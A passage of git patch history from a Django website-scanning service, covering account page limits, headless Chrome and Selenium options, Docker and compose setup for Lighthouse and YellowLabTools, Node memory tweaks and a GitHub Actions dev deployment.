 boto3==1.20.32
 celery==5.1.0
-certifi==2021.5.30
+certifi==2023.7.22
 chardet==4.0.0
 click==7.1.2
 click-didyoumean==0.0.3
@@ -39,7 +39,7 @@ requests==2.25.1
 reportlab==3.6.6
 scikit-image==0.21.0
 scipy==1.8.0
-selenium==4.1.3
+selenium==4.11.2
 sendgrid==6.9.7
 six==1.16.0
 slack-sdk==3.11.2

From cb63d50bd755221f616bc1fd0e573d9ce57de0cf Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Sun, 17 Sep 2023 15:40:56 -0500
Subject: [PATCH 139/752] update free account resources

---
 app/api/models.py           | 2 +-
 app/api/v1/auth/services.py | 5 +++++
 app/api/v1/billing/views.py | 5 +++++
 3 files changed, 11 insertions(+), 1 deletion(-)

diff --git a/app/api/models.py b/app/api/models.py
index 6f9107ad..a4ab2198 100644
--- a/app/api/models.py
+++ b/app/api/models.py
@@ -246,7 +246,7 @@ class Account(models.Model):
     type = models.CharField(max_length=1000, serialize=True, null=True, blank=True, default='free')
     code = models.CharField(max_length=1000, serialize=True, null=True, blank=True)
     max_sites = models.IntegerField(serialize=True, null=True, blank=True, default=1)
-    max_pages = models.IntegerField(serialize=True, null=True, blank=True, default=25)
+    max_pages = models.IntegerField(serialize=True, null=True, blank=True, default=5)
     cust_id = models.CharField(max_length=1000, serialize=True, null=True, blank=True)
     sub_id = models.CharField(max_length=1000, serialize=True, null=True, blank=True)
     product_id = models.CharField(max_length=1000, serialize=True, null=True, blank=True)
diff --git a/app/api/v1/auth/services.py b/app/api/v1/auth/services.py
index 6f36b4ff..1631754d 100644
--- a/app/api/v1/auth/services.py
+++ b/app/api/v1/auth/services.py
@@ -258,6 +258,7 @@ def create_or_update_account(request=None, *args, **kwargs):
         type = request.data.get('type')
         code = request.data.get('code')
         max_sites = request.data.get('max_sites')
+        max_pages = request.data.get('max_pages')
         cust_id = request.data.get('cust_id')
         sub_id = request.data.get('sub_id')
         product_id = request.data.get('product_id')
@@ -272,6 +273,7 @@ def create_or_update_account(request=None, *args, **kwargs):
         type = kwargs.get('type')
         code = kwargs.get('code')
         max_sites = kwargs.get('max_sites')
+        max_pages = kwargs.get('max_pages')
         cust_id = kwargs.get('cust_id')
         sub_id = kwargs.get('sub_id')
         product_id = kwargs.get('product_id')
@@ -297,6 +299,8 @@ def create_or_update_account(request=None, *args, **kwargs):
             account.code = code
         if max_sites is not None:
             account.max_sites = max_sites
+        if max_pages is not None:
+            account.max_pages = max_pages
         if cust_id is not None:
             account.cust_id = cust_id
         if sub_id is not None:
@@ -325,6 +329,7 @@ def create_or_update_account(request=None, *args, **kwargs):
             type=type,
             code=code,
             max_sites=max_sites,
+            max_pages=max_pages,
             cust_id=cust_id,
             sub_id=sub_id,
             product_id=product_id,
diff --git a/app/api/v1/billing/views.py b/app/api/v1/billing/views.py
index b2b4a525..bd197d43 100644
--- a/app/api/v1/billing/views.py
+++ b/app/api/v1/billing/views.py
@@ -192,6 +192,7 @@ def post(self, request):
                 'active': account.active,
                 'price_amount': account.price_amount,
                 'max_sites': account.max_sites,
+                'max_pages': account.max_pages,
                 'slack': {
                     'slack_name': account.slack['slack_name'], 
                     'bot_user_id': account.slack['bot_user_id'], 
@@ -219,12 +220,14 @@ def post(self, request):
         product_name = str(user.email + '_' + str(user.id) + '_' + name)
         price_amount = int(request.data.get('price_amount'))
         max_sites = int(request.data.get('max_sites'))
+        max_pages = int(request.data.get('max_pages'))
 
         if not Account.objects.filter(user=user).exists():
             create_or_update_account(
                 user=user,
                 type=name,
                 max_sites=max_sites,
+                max_pages=max_pages,
             )
 
         account = Account.objects.get(user=user)
@@ -280,6 +283,7 @@ def post(self, request):
             product_id = product.id,
             price_id = price.id,
             max_sites = max_sites,
+            max_pages = max_pages,
             price_amount = price_amount,
         )        
 
@@ -320,6 +324,7 @@ def post(self, request):
                     'active': account.active,
                     'price_amount': account.price_amount,
                     'max_sites': account.max_sites,
+                    'max_pages': account.max_pages,
                     'slack': {
                         'slack_name': account.slack['slack_name'], 
                         'bot_user_id': account.slack['bot_user_id'], 

From 18bc75ab53c4ca07fceeb488fc703aa7029d3370 Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Tue, 19 Sep 2023 12:11:55 -0500
Subject: [PATCH 140/752] added new chrome argument

---
 app/api/utils/driver_p.py | 1 +
 app/api/utils/driver_s.py | 1 +
 2 files changed, 2 insertions(+)

diff --git a/app/api/utils/driver_p.py b/app/api/utils/driver_p.py
index d058384c..de6a01aa 100644
--- a/app/api/utils/driver_p.py
+++ b/app/api/utils/driver_p.py
@@ -16,6 +16,7 @@ async def driver_init(
             '--no-sandbox', 
             '--disable-dev-shm-usage',
             '--force-device-scale-factor=0.5',
+            'ignore-certificate-errors'
             f'--window-size={window_size}',
         ],
         'defaultViewport': {
diff --git a/app/api/utils/driver_s.py b/app/api/utils/driver_s.py
index 000ca100..fb8c7fee 100644
--- a/app/api/utils/driver_s.py
+++ b/app/api/utils/driver_s.py
@@ -38,6 +38,7 @@ def driver_init(
     options.add_argument("start-maximized")
     options.add_argument("--headless")
     options.add_argument("--disable-dev-shm-usage")
+    options.add_argument("ignore-certificate-errors")
     options.add_argument("--force-device-scale-factor=0.5")
     options.add_argument("--window-size=%s" % window_size) 
     options.set_capability("goog:loggingPrefs", {'performance': 'ALL'})

From 388867ed07bdb7c0c5857b32f3ede0924aede910 Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Tue, 3 Oct 2023 08:27:18 -0500
Subject: [PATCH 141/752] changed env back to dev

---
 docker-compose.yml | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/docker-compose.yml b/docker-compose.yml
index 294b39f3..ea8397e6 100644
--- a/docker-compose.yml
+++ b/docker-compose.yml
@@ -32,7 +32,7 @@ services:
     ports:
       - "5432"
     env_file:
-      - ./env/.env.dev
+      - ./env/.env.local
     volumes: 
       - pgdata:/var/lib/postgresql/data
   

From a3024e0439c2306b9372f35ec9850232f7cf2fc7 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Fri, 1 Dec 2023 11:35:38 -0700
Subject: [PATCH 142/752] added new configs for running locally

---
 Dockerfile.local          | 59 +++++++++++++++++++++++++++++++++++++++
 app/api/utils/driver_p.py | 17 +++++++----
 app/api/utils/driver_s.py | 19 ++++++++-----
 commands => commands.md   |  0
 docker-compose.yml        |  4 +--
 5 files changed, 84 insertions(+), 15 deletions(-)
 create mode 100644 Dockerfile.local
 rename commands => commands.md (100%)

diff --git a/Dockerfile.local b/Dockerfile.local
new file mode 100644
index 00000000..257b6136
--- /dev/null
+++ b/Dockerfile.local
@@ -0,0 +1,59 @@
+FROM --platform=linux/amd64 ubuntu:latest
+ENV PYTHONUNBUFFERED 1
+ENV DEBIAN_FRONTEND noninteractive
+
+# create the app user
+RUN addgroup --system app && adduser --system app 
+
+# installing python3 & pip
+RUN apt-get update && apt-get install -y python3 python3-pip
+
+# installing system deps || chromium-browser chromium-driver
+RUN apt-get update && apt-get install -y postgresql postgresql-client gcc \
+    gfortran openssl libpq-dev curl libjpeg-dev libfontconfig 
+    
+# extra packages
+RUN apt-get install -y libglib2.0-0 libsm6 libxrender1 libxext6 libgl1
+
+# installing node and npm
+RUN apt-get update && apt-get install nodejs npm -y --no-install-recommends \
+    && npm install -g n && n lts
+
+# installing google-chrome-stable
+RUN curl -LO https://dl.google.com/linux/direct/google-chrome-stable_current_amd64.deb
+RUN apt-get install -y ./google-chrome-stable_current_amd64.deb
+RUN rm google-chrome-stable_current_amd64.deb 
+
+# begin npm portion
+RUN npm cache clean --force
+
+# increasing allocated memory to node
+RUN export NODE_OPTIONS="--max-old-space-size=4096"
+ENV NODE_OPTIONS=--max_old_space_size=7000
+ENV NODE_OPTIONS="--max-old-space-size=7000"
+
+# installing lighthouse & yellowlabtools
+RUN npm install -g lighthouse lighthouse-plugin-crux lodash yellowlabtools
+
+# telling Puppeteer to skip installing Chrome
+ENV PUPPETEER_SKIP_CHROMIUM_DOWNLOAD true 
+
+# telling phantomas where Chromium binary is and that we're in docker
+ENV PHANTOMAS_CHROMIUM_EXECUTABLE /usr/bin/google-chrome-stable
+ENV DOCKERIZED yes
+
+# setting --no-sandbox for Phantomas 
+RUN google-chrome-stable --no-sandbox --version
+
+# installing requirements
+COPY ./requirements.txt /requirements.txt
+RUN python3 -m pip install -r /requirements.txt
+
+# setting working dir
+RUN mkdir /app
+COPY ./app /app
+WORKDIR /app
+
+# setting ownership
+RUN chown -R app:app /app
+RUN chown -R app:app /usr/bin/google-chrome-stable
\ No newline at end of file
diff --git a/app/api/utils/driver_p.py b/app/api/utils/driver_p.py
index de6a01aa..13472dba 100644
--- a/app/api/utils/driver_p.py
+++ b/app/api/utils/driver_p.py
@@ -55,6 +55,8 @@ async def interact_with_page(page):
 async def driver_test(*args, **options):
 
     print("Testing puppeteer instalation and integration...")
+    message = 'Puppeteer was unable to start\n\n'
+    status = 'Failed'
 
     try:
         driver = await driver_init()
@@ -65,16 +67,19 @@ async def driver_test(*args, **options):
         assert title == 'Google'
         if title == 'Google':
             status = 'Success'
-        else:
-            status = 'Failed'
-        await driver.close()
+            message = 'Puppeteer installed and working \N{check mark} \n'
+
     except Exception as e:
         print(e)
-        status = 'Failed'
 
-    sys.stdout.write('--- ' + status + ' ---\n'
-        + 'Puppeteer installed and working \N{check mark} \n'
+    sys.stdout.write(
+            '--- ' + status + ' ---\n'+ message
         )
+
+    try:
+        await driver.close()
+    except:
+        pass
    
 
 
diff --git a/app/api/utils/driver_s.py b/app/api/utils/driver_s.py
index fb8c7fee..061b5e92 100644
--- a/app/api/utils/driver_s.py
+++ b/app/api/utils/driver_s.py
@@ -58,6 +58,9 @@ def driver_init(
 def driver_test():
     
     print("Testing selenium instalation and integration...")
+    message = 'Selenium was unable to start\n\n'
+    status = 'Failed'
+
     try:
         driver = driver_init()
         driver.get('https://google.com')
@@ -65,18 +68,20 @@ def driver_test():
         assert title == 'Google'
         if title == 'Google':
             status = 'Success'
-        else:
-            status = 'Failed'
+            message = 'Selenium installed and working \N{check mark} \n\n'
+            
     except Exception as e:
         print(e)
-        status = 'Failed'
 
-    sys.stdout.write('--- ' + status + ' ---\n'
-        + 'Selenium installed and working \N{check mark} \n'
+    sys.stdout.write(
+            '--- ' + status + ' ---\n'+ message
         )
 
-    quit_driver(driver)
-    sys.exit(0)
+    try:
+        quit_driver(driver)
+        sys.exit(0)
+    except:
+        pass
 
 
 
diff --git a/commands b/commands.md
similarity index 100%
rename from commands
rename to commands.md
diff --git a/docker-compose.yml b/docker-compose.yml
index ea8397e6..bdd56fed 100644
--- a/docker-compose.yml
+++ b/docker-compose.yml
@@ -7,7 +7,7 @@ services:
     restart: always
     build:
       context: .
-      dockerfile: Dockerfile
+      dockerfile: Dockerfile.local
     # image: landonr/scanerr-server
     ports:
       - "8000:8000"
@@ -46,7 +46,7 @@ services:
     restart: always
     build:
       context: .
-      dockerfile: Dockerfile
+      dockerfile: Dockerfile.local
     # image: landonr/scanerr-server
     command: celery -A scanerr worker --beat --scheduler django --loglevel=info
     volumes:

From cafa01123c3c7d3e0f58fb45a37340afd020ce97 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Tue, 12 Dec 2023 16:29:58 -0500
Subject: [PATCH 143/752] added new system deps for yellowlabs

---
 Dockerfile | 12 +++++++++++-
 1 file changed, 11 insertions(+), 1 deletion(-)

diff --git a/Dockerfile b/Dockerfile
index c573adbd..3f0a78e5 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -10,7 +10,17 @@ RUN apt-get update && apt-get install -y python3 python3-pip
 # installing system deps
 RUN apt-get update && apt-get install -y postgresql postgresql-client gcc \
     gfortran openssl libpq-dev curl libjpeg-dev chromium chromium-driver \ 
-    libfontconfig
+    libfontconfig 
+
+# installing yellowlab-specific system deps
+RUN apt-get update && apt-get install -y libfreetype6 \ 
+    libatk-bridge2.0-0 gconf-service libasound2 \ 
+    libatk1.0-0 libc6 libcairo2 libcups2 libdbus-1-3 libexpat1 libfontconfig1 \ 
+    libgcc1 libgconf-2-4 libgdk-pixbuf2.0-0 libglib2.0-0 libgtk-3-0 libnspr4 \ 
+    libpango-1.0-0 libpangocairo-1.0-0 libstdc++6 libx11-6 libx11-xcb1 libxcb1 \ 
+    libxcomposite1 libxcursor1 libxdamage1 libxext6 libxfixes3 libxi6 libxrandr2 \ 
+    libxrender1 libxss1 libxtst6 ca-certificates fonts-liberation libappindicator1 \ 
+    libnss3 lsb-release libgbm1 xdg-utils wget -y --force-yes > /dev/null 2>&1
 
 # installing node and npm
 RUN apt-get update && apt-get install nodejs npm -y --no-install-recommends \

From 057b566fbd53b4dfe6c8eb720fce47c49edb07b1 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Tue, 12 Dec 2023 17:30:46 -0500
Subject: [PATCH 144/752] removed .prod extentions for Dockerfile

---
 docker-compose.dev.yml  | 2 +-
 docker-compose.prod.yml | 2 +-
 2 files changed, 2 insertions(+), 2 deletions(-)

diff --git a/docker-compose.dev.yml b/docker-compose.dev.yml
index e1171a0d..c627aaae 100644
--- a/docker-compose.dev.yml
+++ b/docker-compose.dev.yml
@@ -46,7 +46,7 @@ services:
     restart: always
     build:
       context: .
-      dockerfile: Dockerfile.prod
+      dockerfile: Dockerfile
     command: celery -A scanerr worker --beat --scheduler django --loglevel=info
     volumes:
       - ./app:/scanerr
diff --git a/docker-compose.prod.yml b/docker-compose.prod.yml
index 38826afb..bde8193d 100644
--- a/docker-compose.prod.yml
+++ b/docker-compose.prod.yml
@@ -36,7 +36,7 @@ services:
     restart: always
     build:
       context: .
-      dockerfile: Dockerfile.prod
+      dockerfile: Dockerfile
     # image: landonr/scanerr-server
     command: celery -A scanerr worker --beat --scheduler django --loglevel=info
     volumes:

From 33ba48cbccc6ea82f85671d905cafad11a65c174 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Tue, 12 Dec 2023 17:46:33 -0500
Subject: [PATCH 145/752] testing chromium config removal

---
 Dockerfile | 5 ++++-
 1 file changed, 4 insertions(+), 1 deletion(-)

diff --git a/Dockerfile b/Dockerfile
index 3f0a78e5..ad3b0986 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -58,4 +58,7 @@ WORKDIR /app
 
 # setting ownership
 RUN chown -R app:app /app
-RUN chown -R app:app /usr/bin/chromium
\ No newline at end of file
+RUN chown -R app:app /usr/bin/chromium
+
+# removing chromium config
+RUN rm -rf ~/.config/chromium
\ No newline at end of file

From 01012fd76775b79dbb07d0fb2e52e42c5481296b Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Tue, 12 Dec 2023 18:46:08 -0500
Subject: [PATCH 146/752] added collect static back to dev compose

---
 docker-compose.dev.yml | 1 +
 1 file changed, 1 insertion(+)

diff --git a/docker-compose.dev.yml b/docker-compose.dev.yml
index c627aaae..fb5bb786 100644
--- a/docker-compose.dev.yml
+++ b/docker-compose.dev.yml
@@ -14,6 +14,7 @@ services:
       sh -c "python3 manage.py wait_for_db &&
              python3 manage.py makemigrations  --no-input &&
              python3 manage.py migrate  --no-input &&
+             python3 manage.py collectstatic --no-input &&
              python3 manage.py wait_for_db &&
              python3 manage.py create_admin &&
              python3 manage.py driver_s_test &&

From da8f1156b7630df933164f465ad46db3130885cf Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Tue, 12 Dec 2023 19:02:43 -0500
Subject: [PATCH 147/752] added --stack-size args to node

---
 Dockerfile | 6 +++++-
 1 file changed, 5 insertions(+), 1 deletion(-)

diff --git a/Dockerfile b/Dockerfile
index ad3b0986..1d11da2f 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -29,9 +29,13 @@ RUN apt-get update && apt-get install nodejs npm -y --no-install-recommends \
 RUN npm cache clean --force
 
 # increasing allocated memory to node
-RUN export NODE_OPTIONS="--max-old-space-size=4096"
+RUN export NODE_OPTIONS="--max-old-space-size=7000"
+RUN export NODE_OPTIONS="--stack-size=262000"
 ENV NODE_OPTIONS=--max_old_space_size=7000
 ENV NODE_OPTIONS="--max-old-space-size=7000"
+ENV NODE_OPTIONS=--stack-size=262000
+ENV NODE_OPTIONS="--stack-size=262000"
+
 
 # installing lighthouse & yellowlabtools
 RUN npm install -g lighthouse lighthouse-plugin-crux lodash yellowlabtools

From 0e6ff1ee591d4a1c2331775aec50c1074e6bedb4 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Tue, 12 Dec 2023 19:05:17 -0500
Subject: [PATCH 148/752] testing config

---
 Dockerfile | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/Dockerfile b/Dockerfile
index 1d11da2f..86fc0e76 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -33,7 +33,7 @@ RUN export NODE_OPTIONS="--max-old-space-size=7000"
 RUN export NODE_OPTIONS="--stack-size=262000"
 ENV NODE_OPTIONS=--max_old_space_size=7000
 ENV NODE_OPTIONS="--max-old-space-size=7000"
-ENV NODE_OPTIONS=--stack-size=262000
+ENV NODE_OPTIONS=--stack_size=262000
 ENV NODE_OPTIONS="--stack-size=262000"
 
 

From b451378772144cab4eecb90052dd2a06390c6f57 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Tue, 12 Dec 2023 19:06:02 -0500
Subject: [PATCH 149/752] testing config

---
 Dockerfile | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/Dockerfile b/Dockerfile
index 86fc0e76..6d5beb2a 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -30,11 +30,11 @@ RUN npm cache clean --force
 
 # increasing allocated memory to node
 RUN export NODE_OPTIONS="--max-old-space-size=7000"
-RUN export NODE_OPTIONS="--stack-size=262000"
+RUN export NODE_OPTIONS="--stack_size=262000"
 ENV NODE_OPTIONS=--max_old_space_size=7000
 ENV NODE_OPTIONS="--max-old-space-size=7000"
 ENV NODE_OPTIONS=--stack_size=262000
-ENV NODE_OPTIONS="--stack-size=262000"
+ENV NODE_OPTIONS="--stack_size=262000"
 
 
 # installing lighthouse & yellowlabtools

From 138c0c4999d8bf676fa20df682c84c283bc9bff5 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Tue, 12 Dec 2023 19:07:05 -0500
Subject: [PATCH 150/752] testing config

---
 Dockerfile | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/Dockerfile b/Dockerfile
index 6d5beb2a..d1d6706c 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -30,7 +30,7 @@ RUN npm cache clean --force
 
 # increasing allocated memory to node
 RUN export NODE_OPTIONS="--max-old-space-size=7000"
-RUN export NODE_OPTIONS="--stack_size=262000"
+
 ENV NODE_OPTIONS=--max_old_space_size=7000
 ENV NODE_OPTIONS="--max-old-space-size=7000"
 ENV NODE_OPTIONS=--stack_size=262000

From 6a553ec97ae9688717a182a8c1663d4262ea1ca9 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Tue, 12 Dec 2023 19:11:05 -0500
Subject: [PATCH 151/752] testing

---
 Dockerfile | 9 ++++-----
 1 file changed, 4 insertions(+), 5 deletions(-)

diff --git a/Dockerfile b/Dockerfile
index d1d6706c..e4658fc7 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -29,12 +29,11 @@ RUN apt-get update && apt-get install nodejs npm -y --no-install-recommends \
 RUN npm cache clean --force
 
 # increasing allocated memory to node
-RUN export NODE_OPTIONS="--max-old-space-size=7000"
+RUN export NODE_OPTIONS="--max-old-space-size=262000"
+RUN "node --stack-size=262000"
+ENV NODE_OPTIONS=--max_old_space_size=262000
+ENV NODE_OPTIONS="--max-old-space-size=262000"
 
-ENV NODE_OPTIONS=--max_old_space_size=7000
-ENV NODE_OPTIONS="--max-old-space-size=7000"
-ENV NODE_OPTIONS=--stack_size=262000
-ENV NODE_OPTIONS="--stack_size=262000"
 
 
 # installing lighthouse & yellowlabtools

From df0ed61852a79293cb03cb9dc81a36cf7ed6014c Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Tue, 12 Dec 2023 19:12:19 -0500
Subject: [PATCH 152/752] testing config

---
 Dockerfile | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/Dockerfile b/Dockerfile
index e4658fc7..34aa9a87 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -30,7 +30,7 @@ RUN npm cache clean --force
 
 # increasing allocated memory to node
 RUN export NODE_OPTIONS="--max-old-space-size=262000"
-RUN "node --stack-size=262000"
+RUN node --stack-size=262000
 ENV NODE_OPTIONS=--max_old_space_size=262000
 ENV NODE_OPTIONS="--max-old-space-size=262000"
 

From c78f63cd89cccd254204205e975eba6a610d5215 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Wed, 13 Dec 2023 08:43:37 -0500
Subject: [PATCH 153/752] testing chromium configs

---
 Dockerfile | 7 ++-----
 1 file changed, 2 insertions(+), 5 deletions(-)

diff --git a/Dockerfile b/Dockerfile
index 34aa9a87..dfbc97b0 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -34,12 +34,9 @@ RUN node --stack-size=262000
 ENV NODE_OPTIONS=--max_old_space_size=262000
 ENV NODE_OPTIONS="--max-old-space-size=262000"
 
-
-
 # installing lighthouse & yellowlabtools
 RUN npm install -g lighthouse lighthouse-plugin-crux lodash yellowlabtools
 
-
 # telling Puppeteer to skip installing Chrome
 ENV PUPPETEER_SKIP_CHROMIUM_DOWNLOAD true 
 
@@ -47,8 +44,8 @@ ENV PUPPETEER_SKIP_CHROMIUM_DOWNLOAD true
 ENV PHANTOMAS_CHROMIUM_EXECUTABLE /usr/bin/chromium
 ENV DOCKERIZED yes
 
-# setting --no-sandbox for Phantomas 
-RUN chromium --no-sandbox --version
+# setting --no-sandbox & --disable-dev-shm-usage for Phantomas 
+RUN chromium --no-sandbox --disable-dev-shm-usage --version
 
 # installing requirements
 COPY ./requirements.txt /requirements.txt

From 122e7dc89bcb197798249a0b75f88873b7104809 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Wed, 13 Dec 2023 09:06:53 -0500
Subject: [PATCH 154/752] testing yellowlab deployment

---
 Dockerfile             |  4 ++--
 docker-compose.dev.yml | 18 ++++++++++++++++++
 2 files changed, 20 insertions(+), 2 deletions(-)

diff --git a/Dockerfile b/Dockerfile
index dfbc97b0..8b623ff2 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -34,8 +34,8 @@ RUN node --stack-size=262000
 ENV NODE_OPTIONS=--max_old_space_size=262000
 ENV NODE_OPTIONS="--max-old-space-size=262000"
 
-# installing lighthouse & yellowlabtools
-RUN npm install -g lighthouse lighthouse-plugin-crux lodash yellowlabtools
+# installing lighthouse & yellowlabtools -> yellowlabtools
+RUN npm install -g lighthouse lighthouse-plugin-crux lodash 
 
 # telling Puppeteer to skip installing Chrome
 ENV PUPPETEER_SKIP_CHROMIUM_DOWNLOAD true 
diff --git a/docker-compose.dev.yml b/docker-compose.dev.yml
index fb5bb786..a6e683d0 100644
--- a/docker-compose.dev.yml
+++ b/docker-compose.dev.yml
@@ -2,6 +2,7 @@ version: '3'
 
 services:
   app:
+    container_name: scanerr-app
     privileged: true
     init: true
     build:
@@ -43,6 +44,7 @@ services:
 
 
   celery:
+    container_name: scanerr-celery
     privileged: true
     restart: always
     build:
@@ -59,6 +61,22 @@ services:
       - db
 
 
+  yellowlab:
+    container_name: yellowlab
+    privileged: true
+    restart: always
+    image: ousamabenyounes/yellowlabtools
+    ports:
+      - "8383"
+    env_file:
+      - ./env/.env.dev
+    depends_on:
+      - redis
+      - app
+      - celery
+      - db
+
+
   nginx-proxy:
     container_name: nginx-proxy
     build: nginx

From 67312fbb1816a001bc0def6626c0b5aa21f1c119 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Wed, 13 Dec 2023 09:21:52 -0500
Subject: [PATCH 155/752] reverted back from yellowlab deployment

---
 Dockerfile             |  5 +++--
 docker-compose.dev.yml | 28 ++++++++++++++--------------
 2 files changed, 17 insertions(+), 16 deletions(-)

diff --git a/Dockerfile b/Dockerfile
index 8b623ff2..4e6cd7fb 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -35,7 +35,7 @@ ENV NODE_OPTIONS=--max_old_space_size=262000
 ENV NODE_OPTIONS="--max-old-space-size=262000"
 
 # installing lighthouse & yellowlabtools -> yellowlabtools
-RUN npm install -g lighthouse lighthouse-plugin-crux lodash 
+RUN npm install -g lighthouse lighthouse-plugin-crux lodash yellowlabtools
 
 # telling Puppeteer to skip installing Chrome
 ENV PUPPETEER_SKIP_CHROMIUM_DOWNLOAD true 
@@ -45,7 +45,8 @@ ENV PHANTOMAS_CHROMIUM_EXECUTABLE /usr/bin/chromium
 ENV DOCKERIZED yes
 
 # setting --no-sandbox & --disable-dev-shm-usage for Phantomas 
-RUN chromium --no-sandbox --disable-dev-shm-usage --version
+RUN chromium --no-sandbox
+RUN chromium --disable-dev-shm-usage
 
 # installing requirements
 COPY ./requirements.txt /requirements.txt
diff --git a/docker-compose.dev.yml b/docker-compose.dev.yml
index a6e683d0..039094e5 100644
--- a/docker-compose.dev.yml
+++ b/docker-compose.dev.yml
@@ -61,20 +61,20 @@ services:
       - db
 
 
-  yellowlab:
-    container_name: yellowlab
-    privileged: true
-    restart: always
-    image: ousamabenyounes/yellowlabtools
-    ports:
-      - "8383"
-    env_file:
-      - ./env/.env.dev
-    depends_on:
-      - redis
-      - app
-      - celery
-      - db
+  # yellowlab:
+  #   container_name: yellowlab
+  #   privileged: true
+  #   restart: always
+  #   image: ousamabenyounes/yellowlabtools
+  #   ports:
+  #     - "8383"
+  #   env_file:
+  #     - ./env/.env.dev
+  #   depends_on:
+  #     - redis
+  #     - app
+  #     - celery
+  #     - db
 
 
   nginx-proxy:

From 88178d4fcca92a5087e9911c81a3f2c79a210e0b Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Wed, 13 Dec 2023 09:59:28 -0500
Subject: [PATCH 156/752] adding new dev workflow

---
 .github/workflows/dev-deploy.yaml             | 30 +++++++++++++++++++
 .../{workflow.yml => k8s-deploy.yml}          |  2 +-
 2 files changed, 31 insertions(+), 1 deletion(-)
 create mode 100644 .github/workflows/dev-deploy.yaml
 rename .github/workflows/{workflow.yml => k8s-deploy.yml} (98%)

diff --git a/.github/workflows/dev-deploy.yaml b/.github/workflows/dev-deploy.yaml
new file mode 100644
index 00000000..bc257dd8
--- /dev/null
+++ b/.github/workflows/dev-deploy.yaml
@@ -0,0 +1,30 @@
+name: Deploy to dev
+
+# Controls when the action will run.
+on:
+  # Triggers the workflow on push request on the main branch for changes in the specified paths.
+  push:
+    branches:
+      - dev
+    paths:
+      - 'app/**'
+      - 'Dockerfile'
+      - 'docker-compose.dev.yml'
+      - '.github/workflows/**'
+
+jobs:
+  build:
+    name: Build
+    runs-on: ubuntu-latest
+    steps:
+    - name: pulling latest dev commit and rebuilding app
+      uses: appleboy/ssh-action@v1.0.0
+      with:
+        host: ${{ secrets.DEV_HOST }}
+        username: ${{ secrets.DEV_USER }}
+        key: ${{ secrets.DEV_KEY }}
+        script: | 
+          cd ~/app
+          git pull origin dev
+          docker compose -f docker-compose.dev.yml down
+          docker compose -f docker-compose.dev.yml up -d --build
\ No newline at end of file
diff --git a/.github/workflows/workflow.yml b/.github/workflows/k8s-deploy.yml
similarity index 98%
rename from .github/workflows/workflow.yml
rename to .github/workflows/k8s-deploy.yml
index 040d46dd..2a9a6b93 100644
--- a/.github/workflows/workflow.yml
+++ b/.github/workflows/k8s-deploy.yml
@@ -2,7 +2,7 @@
 # deploy the application on a DIgitalOcean Kubernetes cluster. For description to the entire worklow, 
 # see www.digitalocean.com/docs/kubernetes/how-to/deploy-using-github-actions.
 
-name: Build, push, and deploy
+name: Deploy to scanerr-k8s
 
 # Controls when the action will run.
 on:

From 64a8ff2af55603981f3a359c37688ec17348c91b Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Wed, 13 Dec 2023 10:02:32 -0500
Subject: [PATCH 157/752] trying to fix cmd failure for chromium

---
 Dockerfile | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/Dockerfile b/Dockerfile
index 4e6cd7fb..3c32d09f 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -45,8 +45,8 @@ ENV PHANTOMAS_CHROMIUM_EXECUTABLE /usr/bin/chromium
 ENV DOCKERIZED yes
 
 # setting --no-sandbox & --disable-dev-shm-usage for Phantomas 
-RUN chromium --no-sandbox
-RUN chromium --disable-dev-shm-usage
+RUN chromium --no-sandbox --version
+RUN chromium --disable-dev-shm-usage  --version
 
 # installing requirements
 COPY ./requirements.txt /requirements.txt

From ae2b1952e270117869ba4266a28219c06e546c3f Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Wed, 13 Dec 2023 10:11:40 -0500
Subject: [PATCH 158/752] testing debug options

---
 app/api/utils/yellowlab.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/api/utils/yellowlab.py b/app/api/utils/yellowlab.py
index 0edb7fae..be0a1446 100644
--- a/app/api/utils/yellowlab.py
+++ b/app/api/utils/yellowlab.py
@@ -18,7 +18,7 @@ def __init__(self, scan=None, configs=None):
     
     def init_audit(self):
         proc = subprocess.Popen([
-                'yellowlabtools', 
